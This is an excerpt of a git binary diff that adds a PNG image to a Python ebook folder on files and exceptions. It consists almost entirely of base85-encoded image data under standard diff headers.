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 E+4Rst3;+NC literal 0 HcmV?d00001 diff --git a/ebook/pythonEbook/fileAndexception/b.png b/ebook/pythonEbook/fileAndexception/b.png new file mode 100644 index 0000000000000000000000000000000000000000..bad3ed636d403b077a236b5902dfd0d80ef90a4a GIT binary patch literal 23951 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 